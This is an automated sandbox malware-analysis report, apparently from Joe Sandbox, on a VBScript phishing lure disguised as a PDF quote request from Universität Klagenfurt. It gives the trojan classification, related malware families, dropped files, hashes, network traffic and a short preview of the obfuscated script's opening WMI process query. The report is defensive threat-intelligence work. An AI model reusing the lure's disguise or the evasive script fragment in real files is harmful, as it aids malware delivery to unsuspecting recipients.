C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qb5nkfyh.fud.ps1

C:\Users\user\AppData\Roaming\Squarely154.Gen

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Static File Info

General

File Icon

Windows Analysis Report
ANGEBOTSANFRAGE (Universit#U00e4t Klagenfurt) 10-03-2025#U00b7pdf.vbs

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1634190
Start date and time:	2025-03-10 20:36:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ANGEBOTSANFRAGE (Universit#U00e4t Klagenfurt) 10-03-2025#U00b7pdf.vbs renamed because original name is a hash value
Original Sample Name:	ANGEBOTSANFRAGE (Universitt Klagenfurt) 10-03-2025pdf.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@13/13@3/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 74% Number of executed functions: 40 Number of non-executed functions: 18
Cookbook Comments:	Found application associated with file extension: .vbs

Time	Type	Description
15:37:29	API Interceptor	1x Sleep call for process: wscript.exe modified
15:37:32	API Interceptor	150x Sleep call for process: powershell.exe modified
15:37:38	API Interceptor	2x Sleep call for process: svchost.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	Online Notification.pdf	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	FW 188355..msg	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	x3xqeKOaAd.exe	Get hash	malicious	AsyncRAT, VenomRAT	Browse	199.232.210.172
	PastePictures 1.xla	Get hash	malicious	Unknown	Browse	199.232.214.172
	POETDB24-25771.xla.xlsx	Get hash	malicious	Unknown	Browse	199.232.210.172
	CO894GOV2O25.vbs	Get hash	malicious	Remcos, GuLoader	Browse	199.232.210.172
	DIR-A_JY4878249#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	199.232.214.172
	POETDB24-25771.xla.xlsx	Get hash	malicious	Unknown	Browse	199.232.210.172
	TNOR_CYCLE_C2_250000615284_32106010359796_E_BDA_0_E_20250310_192757#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	199.232.210.172
	cv(german-v).pdf	Get hash	malicious	Unknown	Browse	199.232.214.172

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	q2e132qweertgd.exe.bin.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	142.250.186.161 142.250.186.174
	lalaloopy.hta	Get hash	malicious	Unknown	Browse	142.250.186.161 142.250.186.174
	SNKO05B241100201.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.250.186.161 142.250.186.174
	SNKO05B241100201..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.250.186.161 142.250.186.174
	SNKO05B241100201.exe	Get hash	malicious	Snake Keylogger	Browse	142.250.186.161 142.250.186.174
	Inst#U0430ll.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	142.250.186.161 142.250.186.174
	sNtelKBdvr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.250.186.161 142.250.186.174
	B599ZYjsg4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.250.186.161 142.250.186.174
	LdksctiMff.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.186.161 142.250.186.174
	gcXBQbWQ1p.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.250.186.161 142.250.186.174
37f463bf4616ecd445d4a1937da06e19	rgk62zzDVd.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.186.161 142.250.186.174
	pgsAuwtaJ4.exe	Get hash	malicious	GuLoader	Browse	142.250.186.161 142.250.186.174
	ESrG8c98zz.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.186.161 142.250.186.174
	ZS0Uo8zwGk.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.186.161 142.250.186.174
	LhMU00WNoQ.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.186.161 142.250.186.174
	LdksctiMff.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.186.161 142.250.186.174
	UWCCivkQKO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.186.161 142.250.186.174
	ResPencil.5.6.1.exe	Get hash	malicious	Unknown	Browse	142.250.186.161 142.250.186.174
	QUo9fr3nQW.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	142.250.186.161 142.250.186.174
	Z4nC253E8n.exe	Get hash	malicious	Unknown	Browse	142.250.186.161 142.250.186.174

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807573772472029
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9A:0J7adfWuK0p/QDfKoPeuP0aN4fqox3
MD5:	35A49040CA3C9592858EB02F4C688EBD
SHA1:	2F24566C3A93A6D15CC4760799EAECF32B5A5F50
SHA-256:	458F251259C3FEEF3389AAFAF2E84702B84E0FF0281CB57B078562DDA09ABFBA
SHA-512:	CD6E42FB744718C402B1A765E6F469CD6789066ACA0B1ADC58FACB318EE9411588B708A51FBA86D6333910776BDCF375FFDFFB6DE898A1FA6E84198CB3AE6535
Malicious:	false
Reputation:	low
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

Process:	C:\Windows\System32\wscript.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 73305 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	73305
Entropy (8bit):	7.996028107841645
Encrypted:	true
SSDEEP:	1536:krha8mqJ7v3CeFMz/akys7nSTK7QMuK+C/Oh5:kAOFq+Mba9Ok7C/O/
MD5:	83142242E97B8953C386F988AA694E4A
SHA1:	833ED12FC15B356136DCDD27C61A50F59C5C7D50
SHA-256:	D72761E1A334A754CE8250E3AF7EA4BF25301040929FD88CF9E50B4A9197D755
SHA-512:	BB6DA177BD16D163F377D9B4C63F6D535804137887684C113CC2F643CEAB4F34338C06B5A29213C23D375E95D22EF417EAC928822DFB3688CE9E2DE9D5242D10
Malicious:	false
Preview:	MSCF....Y.......,...................I.................;Za. .authroot.stl.98.?.6..CK..<Tk......4..c... .Ec...U.d.d.E&I.DH..M.KB."..rK.RQ..}f..f...}..1....9...........$.8q..fa...7.o.1.0...bfsM4.........u..l..0..4.a.t....0.....6#....n. :... ....%.,CQ5uU..(.3.<7#.0..JN.$...=j\|w...#.oU..Eq[..P..^..~.V...;..m...I\|...l..@-W..=.QQ.._./.M.nZ..(.........`.$Z.9wW:W.]..8E.......I.D{..n...K:.m..^.(.S.......c..s.y..<...2.%o.o.....H.B.R.....11.\|!.(...........h.SZ........<...^....Z>.Pp?... .pT@p.#.&..........#VEV=.....p........y..."T=l.n..egf.w..X.Y..-G...........KQ.]...pM..[m..-6.wd:........T...:.P5Zs....c.oT`..F1#......EuD.......7....V ..-....!.N..%S...k...S. ...@.J..../..b!B.(=\../.l......`.\...q9..>4!b..8EH.....zdy.....#...X>%0w...i.,>c.z.g"p.S..2W.+mMs.....5Def.....#._D.4....>}...i...\.&`D.......z;..ZY.3.+t.`....z_.q'w.z.)..j3.+.co.s..:.........qK...{...E....uPO...#vs.XxH.B!..(t. 8k+.....G\..?..GF8....'..w.>.ms..\ve.nFN..W)....xi..u..5.f.l....

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.8908305915084105
Encrypted:	false
SSDEEP:	192:yVsm5eml2ib4LxoeRm3YrKkzYFQ9smKp5pVFn3eGOVpN6K3bkkjo5xgkjDt4iWNH:yCib4PYbLVoGIpN6KQkj2qkjh4iUx6iP
MD5:	FE1902820A1CE8BD18FD85043C4D9C5C
SHA1:	62F24EAE4A42BA3AE454A6FAB07EF47D1FE9DFD6
SHA-256:	8BBDC66564B509C80EA7BE85EA9632ACD0958008624B829EA4A24895CA73D994
SHA-512:	8D1BADE448F0C53D6EC00BC9FACDBCB1D4B1B7C61E91855206A08BDBF61C6E4A40210574C4193463C8A13AE692DD80897F3CE9E39958472705CF17D77FE9C1D9
Malicious:	false
Preview:	PSMODULECACHE.....$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module........Find-Command........Unregister-PSRepository........Get-InstalledScript........Get-DynamicOptions........Add-PackageSource........Register-PSRepository........Find-DscResource........Publish-Script........Find-RoleCapability........Uninstall-Package........Get-PackageDependencies........pumo........fimo........Find-Script........Initialize-Provider........Get-PackageProviderName........Test-ScriptFileInfo........Get-InstalledModule........Update-ScriptFileInfo........Get-InstalledPackage........Resolve-PackageSource........Uninstall-Module........inmo........Remove-PackageSource........Update-Script........Uninstall-Script........Update-ModuleManifest........Get-Feature........Install-Module........Install-Package........New-ScriptFileInfo...

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.179172618652538
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	ANGEBOTSANFRAGE (Universit#U00e4t Klagenfurt) 10-03-2025#U00b7pdf.vbs
File size:	24'651 bytes
MD5:	8021cc623d59a1db7f0f3e305f370449
SHA1:	674669f5ded1c632e1d18b149f902ca41c00fdb2
SHA256:	a354b3d778c617b5abfd7e9717e095053838e9c1e5eed9cc03937a9ca85d97c6
SHA512:	8dbe0f5d70f11fa426b893d4a456961f133cd2810b31cfc5cabf00fe16b880919a46b20a2a5c5aa16c1c1113a8f369a06c0e3971c6741aa6505053c9197a9973
SSDEEP:	384:9AXfS9zfMfsl4HrBs56x3QgJkLUnf4rSOm9MmFe079ovDuYtH:9Ao7Z4LBs56B6LUnNOm9Le07IDLH
TLSH:	93B2811C89F23FDA1F4F3BF14815363F98B504A69E3115612A29B42F7C24792AD39DCA
File Content Preview:	......Set fesswise = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")....Set Pladeselskabets = fesswise.ExecQuery("Select * from Win32_Process Where Name = 'explorer.e" + "xe'")....For Each Subscapularis in Pladeselskabets....Set Apol

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 10, 2025 20:37:30.863452911 CET	65153	53	192.168.2.10	1.1.1.1
Mar 10, 2025 20:37:30.871737003 CET	53	65153	1.1.1.1	192.168.2.10
Mar 10, 2025 20:37:33.206823111 CET	62773	53	192.168.2.10	1.1.1.1
Mar 10, 2025 20:37:33.213743925 CET	53	62773	1.1.1.1	192.168.2.10
Mar 10, 2025 20:37:36.054622889 CET	58999	53	192.168.2.10	1.1.1.1
Mar 10, 2025 20:37:36.062622070 CET	53	58999	1.1.1.1	192.168.2.10